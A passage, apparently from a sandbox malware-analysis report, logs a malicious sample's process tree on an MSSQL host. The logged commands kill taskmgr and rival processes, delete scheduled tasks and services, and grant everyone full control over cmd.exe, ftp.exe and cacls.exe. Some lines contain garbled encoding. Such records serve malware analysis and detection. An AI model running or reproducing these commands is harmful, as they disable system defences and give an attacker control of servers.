    Cacls "D:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\SqlManagement\assm.exe" /t /e /c /r everyone
    3⤵
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    PID:6240
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "D:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\SqlManagement\SystemManagement.exe" /t /e /c /d everyone
    3⤵
    - Enumerates connected drives
    PID:6400
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "D:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\SqlManagement\SqlManagement.exe" /t /e /c /d everyone
    3⤵
    - Enumerates connected drives
    PID:2488
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "D:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\SqlManagement\*" /t /e /c /d everyone
    3⤵
    - Enumerates connected drives
    PID:6996
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\SqlManagement\WindowsRunner.exe" /t /e /c /r everyone
    3⤵
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    PID:6916
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\SqlManagement\assm.exe" /t /e /c /r everyone
    3⤵
    - Enumerates connected drives
    PID:6056
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\SqlManagement\SystemManagement.exe" /t /e /c /d everyone
    3⤵
    - Enumerates connected drives
    PID:5496
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\SqlManagement\SqlManagement.exe" /t /e /c /d everyone
    3⤵
    - Enumerates connected drives
    PID:3356
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\SqlManagement\*" /t /e /c /d everyone
    3⤵
    - Enumerates connected drives
    PID:4296
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "WindowsRunner.exe" /t /e /c /d everyone
    3⤵
    PID:4852
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "WindowsRunner.exe" /t /e /c /d system
    3⤵
    PID:812
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "SystemManagement.exe" /t /e /c /d everyone
    3⤵
    PID:1896
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "SystemManagement.exe" /t /e /c /d system
    3⤵
    PID:6952
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "SqlManagement.exe" /t /e /c /d everyone
    3⤵
    PID:2524
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "SqlManagement.exe" /t /e /c /d system
    3⤵
    PID:3376
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im WindowsRunner.exe
    3⤵
    PID:1512
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SystemManagement.exe
    3⤵
    - Kills process with taskkill
    PID:5416
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SqlManagement.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:2852
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im assm.exe
    3⤵
    - Kills process with taskkill
    PID:7012
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "?C:\ProgramData\Microsoft\RAC\lcacs.exe" /t /e /c /r everyone
    3⤵
    PID:2924
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\ProgramData\Microsoft\RAC\lcacs.exe" /t /e /c /r system
    3⤵
    PID:3168
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "?C:\ProgramData\Microsoft\RAC\lsass.exe" /t /e /c /r everyone
    3⤵
    PID:3428
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "?C:\ProgramData\Microsoft\RAC\lsass.exe" /t /e /c /r system
    3⤵
    PID:3528
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\ProgramData\Oracle\Java\*" /t /e /c /r everyone
    3⤵
    PID:6404
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "?C:\ProgramData\Oracle\Java\*" /t /e /c /r system
    3⤵
    PID:6824
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "?C:\ProgramData\Microsoft\RAC\*" /t /e /c /r everyone
    3⤵
    PID:2400
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\ProgramData\Microsoft\RAC\*" /t /e /c /r system
    3⤵
    PID:6956
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im lcacs.exe
    3⤵
    PID:1772
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sysdo.exe
    3⤵
    PID:6392
- - C:\Windows\SysWOW64\cacls.exe
    Cacls c:\windows\temp\conhoy.exe /t /e /c /r everyone
    3⤵
    PID:3664
- - C:\Windows\SysWOW64\cacls.exe
    Cacls conhoy.exe /t /e /c /r everyone
    3⤵
    PID:5828
- - C:\Windows\SysWOW64\cacls.exe
    Cacls conhoy.exe /t /e /c /r system
    3⤵
    PID:5808
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoy.exe
    3⤵
    - Kills process with taskkill
    PID:1320
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\Windows\system\msinfo.exe /t /e /c /r everyone
    3⤵
    PID:1280
- - C:\Windows\SysWOW64\cacls.exe
    Cacls msinfo.exe /t /e /c /r everyone
    3⤵
    PID:4456
- - C:\Windows\SysWOW64\cacls.exe
    Cacls msinfo.exe /t /e /c /r system
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2532
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im msinfo.exe
    3⤵
    - Kills process with taskkill
    PID:4584
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im msinfo.exe
    3⤵
    - Kills process with taskkill
    PID:5536
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\Windows\system/t /e /c /r everyone
    3⤵
    PID:4088
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\Windows\INF\aspnet/t /e /c /r everyone
    3⤵
    PID:4460
- - C:\Windows\SysWOW64\cacls.exe
    Cacls lsma12.exe /t /e /c /r everyone
    3⤵
    PID:6608
- - C:\Windows\SysWOW64\cacls.exe
    Cacls lsma12.exe /t /e /c /r system
    3⤵
    PID:4712
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im lsma12.exe
    3⤵
    PID:5640
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im lsma12.exe
    3⤵
    PID:6804
- - C:\Windows\SysWOW64\cacls.exe
    Cacls csrs.exe /t /e /c /r everyone
    3⤵
    PID:1812
- - C:\Windows\SysWOW64\cacls.exe
    Cacls csrs.exe /t /e /c /r system
    3⤵
    PID:3128
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\Windows\SysWOW64\csrs.exe /t /e /c /r everyone
    3⤵
    PID:3908
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im csrs.exe
    3⤵
    PID:6844
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im csrs.exe
    3⤵
    PID:6320
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "MicrosoftWindows" /F
    3⤵
    PID:5788
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Mysa" /F
    3⤵
    PID:6592
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Mysa1" /F
    3⤵
    PID:2356
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Mysa2" /F
    3⤵
    PID:3228
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Mysa3" /F
    3⤵
    PID:5528
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "OKa" /F
    3⤵
    PID:2436
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "OK" /F
    3⤵
    PID:5460
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "MicrosoftsWindows" /F
    3⤵
    PID:6344
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "MicrosoftsWindowsu" /F
    3⤵
    PID:6268
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "MicrosoftsWindowsy" /F
    3⤵
    PID:3120
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "At1" /F
    3⤵
    PID:6112
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "At2" /F
    3⤵
    PID:4188
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "45645" /F
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1260
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "MicrosoftsWindowsy" /F
    3⤵
    PID:1216
- - C:\Windows\SysWOW64\sc.exe
    sc delete "xwinwpdsrv"
    3⤵
    - Launches sc.exe
    PID:5280
- - C:\Windows\SysWOW64\sc.exe
    sc stop "Corporati Assemblies GthUdTask"
    3⤵
    - Launches sc.exe
    PID:1072
- - C:\Windows\SysWOW64\sc.exe
    sc stop "Corporati Assemblies BthUdTask"
    3⤵
    - Launches sc.exe
    PID:676
- - C:\Windows\SysWOW64\sc.exe
    sc stop "kugoumusic"
    3⤵
    - Launches sc.exe
    PID:4788
- - C:\Windows\SysWOW64\sc.exe
    sc stop "wmiapsrvs"
    3⤵
    - Launches sc.exe
    PID:1936
- - C:\Windows\SysWOW64\sc.exe
    sc stop "w3svchttps"
    3⤵
    - Launches sc.exe
    PID:5040
- - C:\Windows\SysWOW64\sc.exe
    sc delete GthUdTask
    3⤵
    - Launches sc.exe
    PID:560
- - C:\Windows\SysWOW64\sc.exe
    sc delete BthUdTask
    3⤵
    - Launches sc.exe
    PID:1548
- - C:\Windows\SysWOW64\sc.exe
    sc delete System
    3⤵
    - Launches sc.exe
    PID:4140
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies GthUdTask"
    3⤵
    - Launches sc.exe
    PID:2128
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies BthUdTask"
    3⤵
    - Launches sc.exe
    PID:888
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies Maker"
    3⤵
    - Launches sc.exe
    PID:2588
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies nvtray"
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1712
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies OmdBase"
    3⤵
    - Launches sc.exe
    PID:2084
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows DVD Maker"
    3⤵
    - Launches sc.exe
    PID:1248
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies Windows DVD Maker"
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3760
- - C:\Windows\SysWOW64\sc.exe
    sc delete kugoumusic
    3⤵
    - Launches sc.exe
    PID:5624
- - C:\Windows\SysWOW64\sc.exe
    sc delete wmiapsrvs
    3⤵
    - Launches sc.exe
    PID:4172
- - C:\Windows\SysWOW64\sc.exe
    sc delete w3svchttps
    3⤵
    - Launches sc.exe
    PID:5876
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWD.exe
    3⤵
    - Kills process with taskkill
    PID:3896
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWD.exe
    3⤵
    - Kills process with taskkill
    PID:4284
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSPW.exe
    3⤵
    - Kills process with taskkill
    PID:3188
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSUW.exe
    3⤵
    - Kills process with taskkill
    PID:988
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWA.exe
    3⤵
    - Kills process with taskkill
    PID:1944
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWB.exe
    3⤵
    - Kills process with taskkill
    PID:2376
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWB.exe
    3⤵
    - Kills process with taskkill
    PID:6832
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTC.exe
    3⤵
    - Kills process with taskkill
    PID:5380
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTC.exe
    3⤵
    - Kills process with taskkill
    PID:4540
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im ntvdm.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:7004
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g everyone:f
  2⤵
  PID:2504
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4264
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2792
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    PID:5872
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
  2⤵
  PID:1516
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:908
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    PID:6984
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  PID:4604
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    PID:1860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g system:f
  2⤵
  PID:3520
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6504
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    PID:5480
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  PID:4956
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    PID:904
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g system:f
  2⤵
  PID:6680
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    PID:5704
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  PID:5780
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    PID:3312
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g everyone:f
  2⤵
  PID:2748
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    PID:2744
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  PID:4560
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    PID:6480
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
  2⤵
  PID:3200
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    PID:5916
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  PID:6500
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    PID:5088
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g system:f
  2⤵
  PID:3020
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6452
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:5332
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  PID:4808
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    PID:2632
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g system:f
  2⤵
  PID:6472
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:3536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  PID:6628
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6460
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g everyone:f
  2⤵
  PID:680
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6124
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  PID:1356
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    PID:4140
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
  2⤵
  PID:3380
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7056
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  PID:6336
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6056
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    PID:2508
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g system:f
  2⤵
  PID:3860
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    PID:6992
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
  PID:4296
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    PID:6848
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g system:f
  2⤵
  PID:2484
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    PID:6372
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
  PID:4852
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    PID:5644
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
  2⤵
  PID:5068
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
    3⤵
    PID:1260
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
  2⤵
  PID:1512
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
    3⤵
    PID:888
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
  2⤵
  PID:1536
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1772
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
    3⤵
    PID:1712
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
  2⤵
  PID:6364
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
    3⤵
    PID:6000
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:4748
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:1112
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:4500
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:5572
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
  2⤵
  PID:6412
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
    3⤵
    PID:4788
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:3428
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5808
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:5844
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:4668
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:3528
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:2084
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:6408
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:460
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:2140
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:2740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:1560
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:704
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:3452
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:4752
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:6508
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:7036
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:2400
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:4284
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:1092
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:3188
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:6956
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:3892
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cmd.exe
  2⤵
  PID:7048
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    PID:2820
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cacls.exe
  2⤵
  PID:2344
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cacls.exe
    3⤵
    - Kills process with taskkill
    PID:1204
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\VBS.vbs"
  2⤵
  PID:4492
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskmgr.exe
  2⤵
  PID:1208
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:2712
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6344
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    PID:6904
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  PID:2912
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    PID:2264
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
  2⤵
  PID:3312
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    PID:2452
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5188
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6448
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g system:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4584
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    PID:4432
- C:\Windows\SysWOW64\cmd.exe
